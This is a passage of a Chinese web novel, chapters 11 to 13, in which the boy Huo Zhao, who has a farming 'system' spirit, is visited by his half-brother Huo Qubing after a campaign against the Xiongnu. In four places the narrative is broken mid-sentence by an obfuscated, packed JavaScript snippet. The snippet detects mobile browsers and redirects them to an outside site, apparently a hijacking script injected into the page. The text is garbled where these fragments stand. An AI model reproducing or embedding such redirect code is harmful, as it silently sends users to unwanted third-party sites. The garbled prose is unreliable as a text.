如果他今年不是八岁而是十八岁,绝大部分问题都能迎刃而解,就算依旧要解释,他也能先跑去深山老林隐居然后假托仙人之名行事。 跟汉武帝身边那些方士差不多,区别就是他身边真的有神仙。 系统幽幽叹气,【好吧,不说这些让统心烦的事情了,我们来看今天的纪录片。】 为了让宿主尽可能的了解这个时代,它时不时就会找些纪录片播放。 以前看的是少儿、美食、卫生、科教等各种频道,自从霍去病路过平阳,他们的纪录片就变成了霍去病、卫青、汉武帝等人相关的军国大事。 宿主是个非常好哄的小孩儿,给他看什么他都喜欢,尤其喜欢看大军出征打胜仗。 不过有“冠军侯享年二十四岁”的压力在,他们最近看的不是汉武帝一朝和匈奴的征战,而是后世分析霍去病英年早逝的原因一二三。 【急行军还是太伤身体了。】霍昭看着荧幕里飞驰的骏马,小声嘟囔,【不过大汉早年跟匈奴打仗基本上都是挨打,想打胜仗确实也只能靠长途奔袭直捣王庭。】 北方外族都是在马背上长大,骑兵是他们的天然优势,小股兵力来去如风抢了就跑,中原就是有再多兵力也没法把所有的边郡城池都保护的严严实实。 大将军和骠骑将军的战术跟匈奴人有异曲同工之妙,他们出征也不组织太多人,几万骑兵说走就走,深入大漠后粮草基本上全靠反抢匈奴来供应。 带的人少了可能打不过单于庭的守卫亲军,人太多又行动不便,三四万的规模刚刚好。 只要他们能找到匈奴王庭,仓促之下匈奴也来不及着急分散在草原上放牧的壮丁回防,而一旦王庭被击破,匈奴各部落就是一盘散沙。 战术很好,就是有点废将领。 系统哼了一声,【当我觉得你什么都知道的时候,你什么都不知道;当我觉得你什么都不知道的时候,你又什么都知道。霍昭昭,你脑袋瓜里装的都是什么?】 【系统仙人,我是读过书的,就是没有正经上过学堂。】霍昭挺直腰杆为自己正名,【您要知道我们大唐也是跟北方外族打仗,突厥骑兵没比匈奴骑兵弱哪儿去。】 他们太宗皇帝有句名言:以铜为镜可以正衣冠,以史为镜可以知兴替,以人为镜可以明得失。 军中也不全都是大字不识几个的莽汉,他们闲下来的时候得上课,尤其是年纪小的兵,连巡逻时间都不会排在傍晚,就为了腾出时间让他们去读书。 大唐打突厥,大汉打匈奴,都是打北方外族,突厥人不以史为鉴是他们的损失,反正他们大唐边军该学的时候从来不偷懒。 在大规模的两军对垒中,厉害的将领甚至能在劣势下扭转乾坤反败为胜。 军中认字从不学四书五经,他们学的都是结营布阵还有前朝发生过的战事。 【系统仙人知道大唐对敌的方阵布局吗?那都是战场上一点点总结出来的经验,没有意外的话这里应该也用得到。】霍昭握了握拳头,有点怀念他的陌刀,【单纯让骑兵打骑兵大唐吃亏,用兵车又太过笨重没法长途奔袭,可军队主力是步卒的话一战下来伤亡又太多,这时候我们陌刀手就出现了。】 战场上最普通的军阵就是以盾兵为先锋、刀兵居中、弓箭手垫后,如此方可发挥各部优势大破敌军。 两军对峙的时候先让弓弩手一通猛射,射死多少算多少,等对方的冲击到跟前了立刻盾兵顶上弓弩手退后,接下来等着敌人的就是他们齐刷刷、亮闪闪的陌刀。 漂亮吗?一斩一个准儿! 单个的陌刀军阵对上突厥骑兵有胜有负,一旦让他们和骑兵步卒弓弩手配合起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16996081|193876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,对面的敌人就自求多福吧。 虽然不是每一个陌刀手都能像神通大将那样身长七尺壮勇绝伦陌刀之下人马俱碎,但是他们也都是精挑细选出来的精锐,在战场上用处大着呢。 军师说过,阵法的变化无穷无尽,排兵布阵讲究随机应变,还要多读兵书以及在实战中积累经验,如此到了战场上才能得心应手。 就是他兵书没读过几本,上战场也是听指挥行动,直接让他排兵布阵的话他还真不敢。 【很可惜,又要让宿主失望了。】系统淡定的泼冷水,【汉朝没有锻造陌刀的技术,想打造陌刀得先提高钢铁的冶炼水平。】 霍昭原本只是说着玩儿,他又没真的打算在大汉当陌刀兵,但是让系统这么一说他又觉得也不是不行,【系统仙人,您肯定有办法的对吧?】 【以前有,现在没有。】系统非常刻意的强调,【种田系统只会种地放牧,我们农夫不干铁匠的活儿。】 霍昭一拍脑袋从椅子上蹦下来,迈开腿就往外跑,【不对,我记得庄子里有铁匠铺子,系统仙人你骗不了我。】 农具兵器不分家,能打农具就能打兵器,他已经不是那个系统仙人说什么他就信什么的小傻蛋儿了,他会自己想办法。 系统啧了一声,听着远方隐隐传来的哞哞咩咩叽叽喳喳,感觉它这转型大概率是白转了。 宿主傻乎乎的时候能气死人,聪明起来又机灵的不像话,种田系统也能让他玩成争霸系统。 哦,他们家宿主不争霸,他们家宿主只会用自家农场的东西帮汉武帝威服四夷。 …… 长安城,北方的战报八百里加急送到京城,自从战事打响,整个朝堂都绷着神经生怕让天子注意到。 大汉和匈奴打了那么多年,从高祖时的被动挨打到现在能昂首挺胸打回去,所有人都知道他们陛下不把匈奴彻底打服不会善罢甘休。 早年马邑那次陛下动员大军三十万想要毕其功于一役,不料中间出了差池竹篮打水一场空,没有人敢说是天子的错,但是他们都知道天子心里憋着火。 这次大将军和骠骑将军分兵北上,本来大家都紧张的盯着战事,结果河东那边忽然冒出来个蠢货不知道怎么想的忽然把骠骑将军那素未蒙面的亲爹给找了出来。 搞事情能不能看看时候?好歹等到大军回来再发难呢! 京城的勋贵何其多,有人出风头就有人被冷落,出风头被人嫉恨再正常不过,但是只要天子的态度不变,其他人再嫉恨也只能私下里骂骂咧咧。 卫青和霍去病这舅甥俩战功太多显赫,无视他们的功劳只能看到他们显赫的家伙太多,忽然冒出来这么个事儿,满城勋贵一时半会儿竟然猜不到谁才是罪魁祸首。 可能犯蠢的人太多,看谁都像是蠢货。 未央宫中,天子看完刚送来的战报长出一口气,因为国库空虚而烦闷的心情也略有好转。 不愧是他选中的大将军,不愧是他亲封的冠军侯。 如果军中都是这般人才,大汉何至于到现在还在跟匈奴干仗? 刘彻捏捏眉心,这一战他原计划让霍去病出定襄,后来从俘虏的匈奴兵口中得知匈奴伊稚斜单于在东边,这才换成卫青西出定襄寻找单于主力,而霍去病率军出代郡寻找左贤王部。 两军深入大漠消息不便,开始时还能稳定的传回战报,到现在已经变成十天半个月也未必能等到一封来自前线的信。 天子心情不好,必定有人要倒霉。 “去平阳的绣衣可有消息?” 11. 第 11 章 * 草原上的战火燃不到汾水两岸,朝堂上的纷争也民间百姓无关,不管当初掀起多大的动静,骠骑将军的生父是平阳侯国小吏的风波也很快随着农忙被大部分人抛之脑后。 达官贵人私下里会不会继续讨论不好说,反正需要劳作的百姓和官署中忙碌的小吏都没空再打听别人家的私事。 学堂里大点儿的少年郎能藏得住心事不会当面乱问,小点儿的孩子们刚开始还各种奇思妙想,发现小伙伴自己都不上心后注意力很快被别的事情吸引走。 平阳城地方小,官学的上课时间主要依据农时安排,农闲时节上课,农忙时节都回家干活。 田家少闲月,五月人倍忙。 麦子进入灌浆的关键时期,只要家里有田要种,大人小孩儿都得去田间忙活。 年纪小的孩子除了送水送饭外干不了太重的活儿,大人没空管天气也正舒服,于是就到了他们最快活的时候。 霍家有田产,小吏薪资微薄,家里没有别的进项的话很难靠一个人的薪水养活全家。 往年这个时候霍昭都会跟去田里玩,可惜他赶不上播种的时候没法往粮种里混点来自仙境的好种子,不然他们家地里肯定能传出“天降嘉禾”的盛世征兆。 今年霍家的田产更多,不过平阳侯相给他们准备的田产自带佃农,不需要霍仲孺和冯夏再去熟悉的庄子里雇壮丁干活。 胡同口的老树下,霍昭仰头看着头顶熟透的杏子,大手一挥让其他人退后。 小伙伴们说的没错,在大宅子里住久了确实感觉有点不好玩。 以前无聊了直接出门找小伙伴玩,现在无聊了出门都不知道要找谁玩。 别说他和周边邻居不太熟,就算年龄相仿能玩到一起,他有空邻居家的孩子也未必有空。 官学按照农时放假,家里请的先生又不管农时,人家一年四季都能上课。 当然,他的意思是住大宅子玩起来没有以前好玩,不是说住大宅子一定会郁郁寡欢,厨娘天天换着花样儿做饭的日子谁过谁知道。 但是放假还是得跟小伙伴一起玩才有感觉,不然这假岂不是白放了? 霍昭活动活动筋骨,助跑几步借墙的反弹瞅准落脚点抓住树枝“嗖——”的一下就出现在树冠里。 他们家门口这颗杏树年龄比他爹还大,底下的果子大人伸手就能够到,想摘上面的果子就有点儿费劲了。 问题不大,他这些年在睡梦里也没忘记练习拳脚功夫,爬树摘杏这种事情对他来说毫无难度。 小孩子爬高上低不知道什么叫怕,树下的几个人欢呼雀跃,拿着布兜接树上掉下来的杏儿,没一会儿布兜就装的满满当当。 这个季节的杏子一个个饱满多汁金黄透亮,接杏儿也是个技术活儿,一不小心掉到地上就烂成一滩捡不起来了。 “杏好吃吗?” 小孩子们开心的接杏儿,听到陌生的问话也不害怕,以为是路人路过,从布兜里挑出个漂亮的杏儿就递过去,“可好吃了,有大又甜,您尝尝。” 看穿着应该是城里的贵人,贵人没吃过杏儿吗? 来尝尝,他们的杏儿可好吃了。 树没有主人,听说是好多年前鸟儿衔来的种子,周围的房子盖起来之前就已经有这棵树了。 胡同里的人家也没有太刻薄的性子,杏树也不需要怎么照料,想起来的时候会浇点水施个肥,想不起来人家也长的好好的,每年结的果子除了被鸟儿吃掉的那些就是胡同里的大家分。 霍去病温声道谢,抬头看看还在树上的幼弟,陷入沉默。 这么高的树他小时候都不敢爬,臭小子哪儿来的胆子? 骠骑将军想喊人,又怕一开口把小孩儿吓到摔下来,手里拿着杏儿愣是不知道要不要开口。 旁边的小孩子心一个比一个大,感觉布兜里的杏够大家分了直接仰头喊,“阿昭——够吃了——可以下来啦——” “马上——”霍昭一边说一边够手边最大的那颗杏,越高的地方果子越好,可惜最好的都让鸟儿给吃了,他们只能从鸟儿吃剩的果子里挑。 小家伙随身的小布兜里装了四颗他认为最大最甜的果子,放好布兜后才找好借力点唰唰唰帅气落地。 身手矫健,飒爽英姿,好一个天上少有地上难寻的大将军预备役。 不愧是他。 然后落地就看到了据说还在代郡庆功的冠军侯。 霍昭:!!! 【系统仙人,骠骑将军会缩地成寸吗?怎么感觉他神出鬼没的?】 系统:…… 不想说话。 霍去病似笑非笑的看着被他吓了一跳的臭小子,晃晃手里的杏儿慢悠悠说道,“那么高的树你也敢爬?” 霍昭紧张的挪过去,小声开口,“阿兄怎么来了?” 霍去病唇角微扬,“路过平阳,过来看看。” “咦?阿昭,这位是你兄长?”忙着分果子的小家伙们好奇不已,“这位阿兄以前好像没见过,是哪里的亲戚呀?” 霍昭瞅了眼他也才第二次见到的兄长,没敢说话。 哪里的亲戚?大概是他爹那边的亲戚吧。 小孩儿没有打破砂锅问到底的架势,霍去病没有自报家门的意思,简单说了几句把小家伙们哄走,然后示意忽然安静下来的幼弟跟他走。 战事结束,大军班师回朝论功行赏,没有意外的话短时间内他们不会再和匈奴开战,他也不会再来平阳。 既然回长安要路过这里,那就趁此机会将事情全部解决。 打仗的时候战事要紧没功夫也没经历处理别的事情,回到大汉地界儿就方便多了。 现在仗打完了,长安那里他也已经打过招呼,霍家的事情由他亲自处理。 认识人果然不能在太正式的场合,上次见面的时候他能看出来小的这个比大的那个活泼,却没看出来小的这个还身怀绝技。 臭小子从树上跳下来的那几下绝对不是熟能生巧那么简单,也不像是三两个月能练出来的程度,霍仲孺老早就给家里的俩孩子请过武师傅? 霍去病放慢脚步让小短腿儿弟弟不用扑腾那么快,一边走一边思索小家伙表现出来的不同寻常。 他在战场上无暇顾及乱七八糟的事情,陛下却在事情发生后便将霍家查了个底儿朝天。 绣衣使者神出鬼没无处不在,以霍仲孺的能耐做过什么事情也瞒不住绣衣使者的眼睛,因此绣衣提供的情报绝对可信。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16996082|193876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老霍离开平阳侯府后这二十多年过的平平无奇,家里不是大富大贵,霍光也是在前些年朝廷诏令郡国皆立学官时才入官学读书,家里没条件给他们单独请师傅教导。 既然没有师傅教导,那这小子翻墙上树的本事是跟谁学的? 别说什么小孩子都会爬树,正常小孩儿爬树跟练过的小孩儿爬树不一样,他不至于连这点都看不出来。 有意思。 霍昭还不知道他矫健的身手暴露了什么,走几步抬头看两眼,走几步抬头看两眼,到底还是没忍住指了指反方向的家门,“阿兄,那是我们家。” 以前的家也是家,不能因为换了大房子就喜新厌旧。 他们搬去大宅子后这座小宅子就闲了下来,这些天学堂放假那边没人玩,他和家里说过之后就跑回来玩了。 房子小打扫起来很简单,也不是不能用来招待客人。 所以骠骑将军为什么会忽然出现在这儿?大军得胜归来路过平阳的排场理应比出征的时候还大,没听说仗已经打完了啊? 霍昭不敢直接问,只能在心里戳万能的系统,【系统仙人您在吗?我现在有点慌,不对,是非常慌。】 系统心累的叹了口气,【我记得之前和你说过,霍去病和卫青这一仗打的时间并不长,最多三个月他们就打完了。】 霍昭委屈巴巴,【是说过,我也记得,但是我以为他们得胜归来时会有官员百姓夹道相迎,没想到他会忽然出现在跟前。】 这合理吗?不合理啊! 系统幸灾乐祸,【这个问题你得问当事人。】 霍昭深吸一口气,瞅一眼旁边淡定倒水的冠军侯,又怂唧唧的缩回去,【……您看我敢吗?】 系统:哈哈哈哈哈哈哈哈! 霍去病饶有兴致的扫了眼小巧玲珑的院子,他记事起卫家的条件就已经很不错了,到二姨母被封为皇后,他也因着姨母的关系经常进宫,从小到大住的都是官宅,还真没怎么见过这种小小的宅院。 让亲卫留在城外果然是个好主意,人太多不好招待,霍仲孺也肯定想不起来要带他到这儿看看。 没关系,他可以自己想办法满足好奇心。 “阿昭,你刚才从树上下来的招式是跟谁学的?” 系统的笑声戛然而止,【啊?】 霍昭也傻眼了,“啊?” 霍去病抿了口沁凉的井水,很有耐心的重复道,“就是从墙上借力落到地面上那招,从哪儿学的?” 霍昭下意识移开视线,干巴巴的解释,“是我自己琢磨出来的……” “自己琢磨出来的?”霍去病轻笑一声,很像那么回事儿的赞道,“看来阿昭习武的天赋举世罕见,得找个武师傅好好教导。” “啊?”霍昭小心翼翼的往后退了一步,完全听不出这是玩笑话还是真话,“这就举世罕见了?” 树就在院墙旁边,从墙上借力很难吗? 他从三岁能爬树那年开始每年都是这么爬的,也没人和他说这招不能用啊! 系统也很懵,从墙上借力落到地面怎么了?两个小世界略有不同,他们家宿主到了这里甚至连内力都没有了,没有内力没法用轻功,身手矫健点儿都不行吗? 12.第 12 章 * 系统急的在识海空间里打转,如果它有实体,这里立刻就会出现一个吓傻的它缩在牛棚里瑟瑟发抖。 然后被暴躁的牛牛毫不留情的掀蹄子踹走。 还好它没实体,还好它不能慌。 宿主年纪小不经吓,它要是再慌那他们俩就都没救了。 稳住,问题不大,只要他们咬死是自学的谁都拿他们没办法。 【霍昭昭!冷静!不要心虚!】系统紧张兮兮的给倒霉宿主加油,【这个世界没有鬼神,天王老子来了你也只是个平平无奇的凡人!】 【也就是说,世上只剩下您一个真神仙?】万万没想到,霍昭的关注点和他想的完全不一样,【真的没有别的鬼神?世上只剩下您一个神仙的话那我可就不怕了。】 系统:【???】 是不是哪里不对? 它说的是这个世界上没有鬼神,不是世上只有它一个鬼神。 霍昭才不管那么多,他脑子里只剩下“世上只有系统仙人一个神仙”这句话,不爱听的都起开起开起开。 连汉武帝身边都是假神仙,他身边有真神仙他怕谁? 世上能有天生神力,为什么不能有他生下来就会飞檐走壁? 唔,不对,这个大汉没有飞檐走壁。 总之就是,阿兄说的没错,他就是天赋异禀,区区翻墙上树对他这种举世罕见的小天才而言完全不是事儿。 小家伙有“全大汉唯一真神仙”当靠山立刻支棱了起来,什么瑟瑟发抖谨小慎微都不存在的,天赋异禀的小天才就是那么理直气壮,“阿兄,爬树很简单的,你小时候没爬过吗?” 连说带比划,好像刚才那个茫然又无助的不是他。 霍去病:…… 他看上去那么好骗? 臭小子刚才还眼神飘忽心虚的不行,眨个眼的功夫就昂首挺胸什么都不怕了,说没有猫腻傻子都不信。 想到什么了忽然这么有底气?平阳城里有隐居的剑客游侠? 霍去病试图去想,想了一会儿什么也没有想出来。 他和平阳侯见面能说上几句话,但是对平阳侯国还真不太熟,仅有的一点了解还是从绣衣使者关于霍仲孺的情报里看到的,想知道这地界儿有没有隐居的高人还得另外查。 行吧,回头再让人查查。 骠骑将军放下茶碗,把要再给表演一番的臭小子提溜回来,“知道你是天生的好身手了,天色还早,来和阿兄说说这些天家里发生的事情。” “好的好的,这些天家里发生的事情我都知道。”霍昭眨眨眼睛,可算知道这人为什么不打招呼就忽然出现了。 权贵之间的相处非常复杂,看上去笑眯眯不意味着一定是好人,看上去凶神恶煞也不意味着一定是坏人,只要出现利益冲突,关系再好也可能会毫不留情的捅刀子。 很不幸,对倒霉哥哥来说,他们一家就是那柄可能被用来捅他的刀子。 大人之间的相处太复杂,老霍胆子小可能刚问两句就开始自己吓自己,娘亲不适合问话,哥哥太聪明听到肯定会多想,放眼全家最适合套话的就是他这个能记事儿又什么都不怕的小孩儿。 不愧是冠军侯,就是有眼光。 霍昭在心里摇头晃脑的嘚瑟,面上却表现的沉稳又可靠,然后就沉稳又可靠的将搬家后家里发生的所有事情都抖搂了出来。 大宅子是谁准备的,宅子里有多少婢女仆从,家里多了多少田契,田庄里有多少佃农,还有时不时登门造访的客人,全都竹筒倒豆子般倒的干干净净。 别看他年纪小,论记性就是老爹都比不过他。 而且家里的老爹已经被太守吓的草木皆兵,能不见客就不见客,实在推不掉必须得见的话等到傍晚也会抓他们兄弟俩到跟前仔细叮嘱,生怕跟上次一样让他们满头雾水的就牵扯进不得了的事情里。 ——阿兄放心,您不在的时候家里所有人都非常注意,一定不会给阿兄拖后腿。 兄弟俩之间的氛围还算轻松,但是系统完全不敢掉以轻心。 能在汉武帝手底下做事的都不是等闲之人,霍去病年纪轻轻就风头无两肯定不是只靠军功。 真的被宿主糊弄过去了? 不能吧?装的吧?这是故意绕过刚才的话题想让宿主放松警惕的吧? 系统紧张的在旁边盯着,盯了一会儿发现霍去病好像真的不再关注他们家宿主的矫健身手,这才将信将疑的回到识海空间。 汇报工作以小家伙拍着胸口保证告终,霍去病点点头,说道,“没有人来找麻烦就好。” 霍昭挥挥拳头,“阿兄可是打匈奴的大功臣,没人敢在这个时候上门找麻烦。” 有人不长眼上门欺负也不怕,君子报仇十年不晚,他可以把所有的仇人都记在小本本上,等家里的哥哥也飞黄腾达了他就对着小本本挨个儿报仇。 系统仙人说了,他有两条粗壮的金大腿,重活一世吃什么都不能吃亏。 霍去病不知道小家伙心里在想什么,闻言只是挑了挑眉,“你爹说的?” “才不是。”霍昭哼了一声,“爹天天都在担心会不会连累你,搬家之后吓的连门都不敢出,这话是阿兄、是二兄安慰他的时候说的。” 冠军哥比他们俩都大,为了方便区分,从小唤到大的“阿兄”只能退一步变成“二兄”了。 之前他们一家四口,家里的主心骨是娘亲,其次可靠的是阿兄,再次可靠的是他霍昭昭,最后才能轮到遇到点儿事情就六神无主的老爹。 屋里没有外人,小家伙嘟囔起来丝毫不给家里的老爹留面子。 留了也没用,见面之后还得暴露。 霍去病饶有兴致的听着,他和霍仲孺只见过一面,先前那仓促一面不足以让他熟悉霍仲孺的为人,但是小家伙讲的活灵活现,愣是让他脑海中浮现出霍仲孺在家发愁的模样。 这个年纪的小孩儿爱说话很正常,能把大事小事都讲的这么清晰可不多见。 是个聪慧的孩子。 小家伙话里话外的意思都是家里的兄长更聪明更可靠,不知道还能给他带来怎样的惊喜。 故事听的差不多了,骠骑将军拍拍手站起身来,“走,去见你爹娘。” “走走走,我给阿兄带路。”霍昭回来是为了和小伙伴们玩,家里也不放心让他一个人在这里单独过夜,“二兄今天和朋友出城玩了,不知道现在有没有到家。” 农忙时节官学里的大孩子小孩子都放假,有些是回家下地干活,有些是单纯的放假。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16998449|193876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >霍昭也想出城玩,可惜哥哥的新朋友他都不认识,不认识的情况下也不好意思凑上去当拖油瓶。 从老宅到新家不算远,走路也能很快就到,负责带路的聪明弟弟以为他们要走过去,走出胡同看到停在街边的高头大马才反应过来骠骑将军出行是有坐骑的。 小马小马,好久没见过正经的战马了,就是这打扮有点简陋。 没有漂亮的马鞍马镫马辔头,连马蹄铁都没有,身上只有一副简单的不能再简单的马具。 拉车的马不讲究,上战场的马也这么不讲究? 马的价格非常昂贵,寻常人家用不起更买不起,在霍去病路过平阳之前霍昭只偶尔在街上见过拉车的马。 现在家里也有国相大人准备的马车,马儿体格不算大,胜在性格足够温顺,他还偷偷趁马夫不注意上过马背,不过没敢多留很快就下来了。 上次在驿馆倒是见过正经的战马,不过当时情况特殊也没怎么注意,也想不起来当时见过的马儿长什么模样。 家里的马儿只拉车不载人没准备上好的马具很正常,可战马不能这么糊弄吧? 霍昭看看不太温顺的马儿,再看看马儿身上简陋的马具,然后眼巴巴的看向马儿的主人,“阿兄,我们怎么走?” 虽然他没有马镫也能成功上马,但是他怕吓到阿兄,也怕阿兄再问他上马的本事是跟谁学的,所以还是乖乖当个不会骑马的小孩儿吧。 老实巴交.jpg 霍去病被他这反应给逗笑了,拍拍爱马的脑袋利落的翻身上去,然后伸手将小家伙带上来,“就这么走。” 两腿夹紧马腹,瞧着不太听话的马儿立刻乖乖的往前跑。 马具太过简陋,霍昭抓哪儿都不是,只能绷着身子指路。 好在马儿速度快很快就到新宅子,不然他都不敢想在马背上的时间有多难熬。 【系统仙人,我冠军哥在自家军营应该不会被排挤吧?】两脚踩到地上的傻弟弟忧心忡忡,【冠军侯拥有的应该是军中最好的马和马具,我怎么感觉我冠军哥的马和马具都不太行呢?】 战场上优先选性格温顺耐力强的马匹,如果驭马的能力足够强,马匹的脾气不好也行。 马儿越桀骜越能证明主人的本事,多的是人满天下搜寻脾气暴躁不亲人的野生良驹。 可是这马具…… 总不能真被排挤欺负了吧? 【想什么呢?当冠军侯的脾气和你爹一样啊,他像是忍气吞声受欺负的人?】系统无可奈何的给没文化的宿主解释,【马和马具确实是最好的,不过是这个时代最好的,你熟悉的马镫马鞍马蹄铁都还没有发明出来。】 养马需要草场,马的品种也很重要,良驹大部分都在西域,很可惜,这时候的大汉还没有财力挑这挑那。 至于全套的马具,如果宿主不掺和,应该还得再等个三四百年才能出现。 【三四百年?不行不行,战马怎么能没有配套的马具呢?】霍昭鼓了鼓脸,【没有马镫还要长途奔袭,将士又不是铁打的,这也太废人了!】 不求多好看多漂亮多花里胡哨,好歹得有吧? 系统顿了一下,没忍住又把霍去病的生卒年放出来加粗加黑强调。 可不咋地,就是很废人。 13.第 13 章 * 霍去病进城的时候没有通知任何人,但也没有刻意掩人耳目,策马进城到从霍家老宅离开这点时间足够让关注霍家的人都知道他在平阳城。 不过知道也没用,他把大部队留在城外单独进城就是不想被打扰。 有被发配到北地修城墙的河东太守当前例,平阳城里应该不会再有不长眼色的人往他跟前凑。 事实证明,就算世上聪明人不多,蠢到河东太守那个程度的也是少见。 侯相从城门卫兵处得知骠骑将军进城,知道消息后也没贸然来寻,只是让人去霍家给霍仲孺打了声招呼。 老霍:!!! 上次在驿馆见面让他好些天都没缓过来,这次比上次好点,知道大军得胜归来肯定还得再见一面,算是早有心理准备。 早有心理准备,但是该紧张还是紧张。 俩儿子都不在家,霍仲孺坐立不安的等啊等啊等,等到太阳都偏西了也没等到人来。 要不是确定国相大人不会拿骠骑将军相关的事情忽悠他,他都以为这是在故意耍他玩了。 霍仲孺等的心惊胆颤,冯夏知道骠骑将军进城后也紧张的不行。 原想着骠骑将军到家里来的话她在场不太合适,可是转念一想,她在客人上门前刻意外出避开更不合适。 当家主母去厨房张罗晚饭来平复心情,留下老霍继续在自家会客厅如坐针毡。 从老宅回来的兄弟俩在家门口下马,守在门口的两个门房一人连忙进去通报,另一人将马牵去马厩喂草料。 马儿被牵走,霍去病看傻弟弟一脸的苦大仇深有些不明所以,“吓到了?” 霍昭心情沉重的点头,“有点儿。” 系统光球旁边冒出个小问号,它感觉这兄弟俩说的好像不是一回事儿。 “回头有空阿兄教你骑马,会骑了就不害怕了。”霍去病没觉得不对,一边说话一边打量这处新宅。 亲卫追上大部队的时候说了平阳侯相主动将购置田宅奴婢的事情揽了去,方才在老宅也听小孩儿复述了一遍,新宅也不算大,不过对霍家来说也够用了。 上次见面时他要出征没带太多东西,购置的田宅奴婢都是平阳侯相垫付,花费的钱财稍后他会让人还回去,不过这事儿就不用特意点出来说了。 此番大胜回京后封赏无数,他不缺这点儿钱。 霍昭完全没往那边想,进门后就加快脚步走前面带路,“爹还不知道阿兄要来,他胆子小待会儿可能会手忙脚乱,阿兄你不要和他计较好不好?” 霍去病反问道,“阿兄看起来很不好相处?” “那倒没有。”霍昭立刻摇头摇的像是拨浪鼓,就算第一次见面的时候真的感觉这个兄长不好相处也不能当面说出来,“我闻到肉羹的味道了,家里厨娘做的饭菜特别好吃,阿兄一定要留下尝尝。” 行军打仗很多时候都是吃冷食,回到大汉地界儿就别委屈自己了,吃饱喝好才能把打仗时损耗透支的身体养回来。 小家伙本来只是想转移话题,说着说着就变成了语重心长的叮嘱。 这年头连马镫都没有,战场上条件差就不说什么了,不打仗的时候一定得注意身体,千万不能仗着年轻就不注意。 年轻的哥哥心情微妙,“阿昭,你今年是八岁,不是八十岁,对吧?” 傻弟弟年纪不大想的还挺多。 霍昭昭揉揉脸摇头叹气,有个独属于自己的神仙能透露天机就这点不好,想多叮嘱几句还要被笑话。 笑话吧笑话吧,不听他的话迟早要吃亏。 他的话不是他的话,他是在给系统仙人传话啊兄长大人。 一大一小几句话的功夫就从门口走到了会客厅,等候已久的霍仲孺擦擦额角冒出来的冷汗,看到骠骑将军的一瞬间脑子一片空白,先前想好的说辞忘的一干二净,下意识就想行大礼。 霍去病:??? 他知道老霍见他会紧张,但也不用紧张到这个地步。 霍昭猜到见面时肯定的有意外,眼疾手快冲上去把两膝马上沾地的老爹推起来,“爹,不合适,真的不合适。” 就算屋里没有外人也不能让老子给儿子行大礼,传出去的话冠军哥的名声还要不要了? ——站起来!站直! 霍仲孺被小儿子推起来的那一刻就回魂了,然而回魂后也没好哪儿去,吭哧半天最后只憋出来了仨字,“回来了。” 霍昭朝旁边的兄长露出个尴尬的笑容,家里的老父亲处在紧张状态就会扔掉脑子,希望沉着稳重的兄长大人不要和他一般见识。 好在霍去病的接受能力很强,虽然他平时话不多,但也不是不会说话。 “仗打赢了,我们越过离侯山渡过弓闾河,在大漠深处遇到了匈奴左贤王部,俘虏了他们三个王还有七万多部众,将士也回来了十之七八。” “回来就好,回来就好。”霍仲孺讪讪回道,猛然意识到人还站着,连忙让俩孩子都入座说话。 入座也是孩子们说他听。 霍昭知道战场是什么样,深入大漠和匈奴作战比守城更加艰难,兄长大人没说作战细节,但是单听“将士也回来了十之七八”就知道这一路打的并不容易。 他知道骠骑将军麾下都是精锐,系统仙人也给他讲过这一战中骠骑将军麾下都是特意选出来的悍不畏死敢于深入大漠的勇士,他挑剩下的将士才归大将军统率。 五万精锐回来十之七八,也就是说还有上万人永远留在了大漠之中。 打仗就是这样,不知道什么时候就死了。 系统仙人,大汉对阵亡将士有什么抚恤?给将士们的抚恤能发到家眷手里吗? 如果将来他战死沙场,他爹娘能领到多少钱粮啊? 系统:【……】 能不能往好的地方想?抚恤金远没有封赏来的稳妥,就不能努努力活着回来吗? 霍昭托着脸叹气,【那也不是我努力就能活的啊。】 万幸冯夏从厨房出来收拾好就马上出来接待客人,没一会儿霍光也从外面回来,一家人整整齐齐很快让霍昭没空想别的。 家里的饭真的很好吃,霍昭昭倾情推荐。 就算是霍去病也得承认,吃饭的时候有个吃什么都香喷喷的小孩儿在旁边确实下饭。 冯夏亲眼见到霍去病之前很紧张,见到人后发现这位名扬天下的年轻将军除了话少外很好相处就不紧张了,说起话来甚至比霍仲孺还自然。 再怎么说也只是个年轻的孩子,打仗那么危险 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 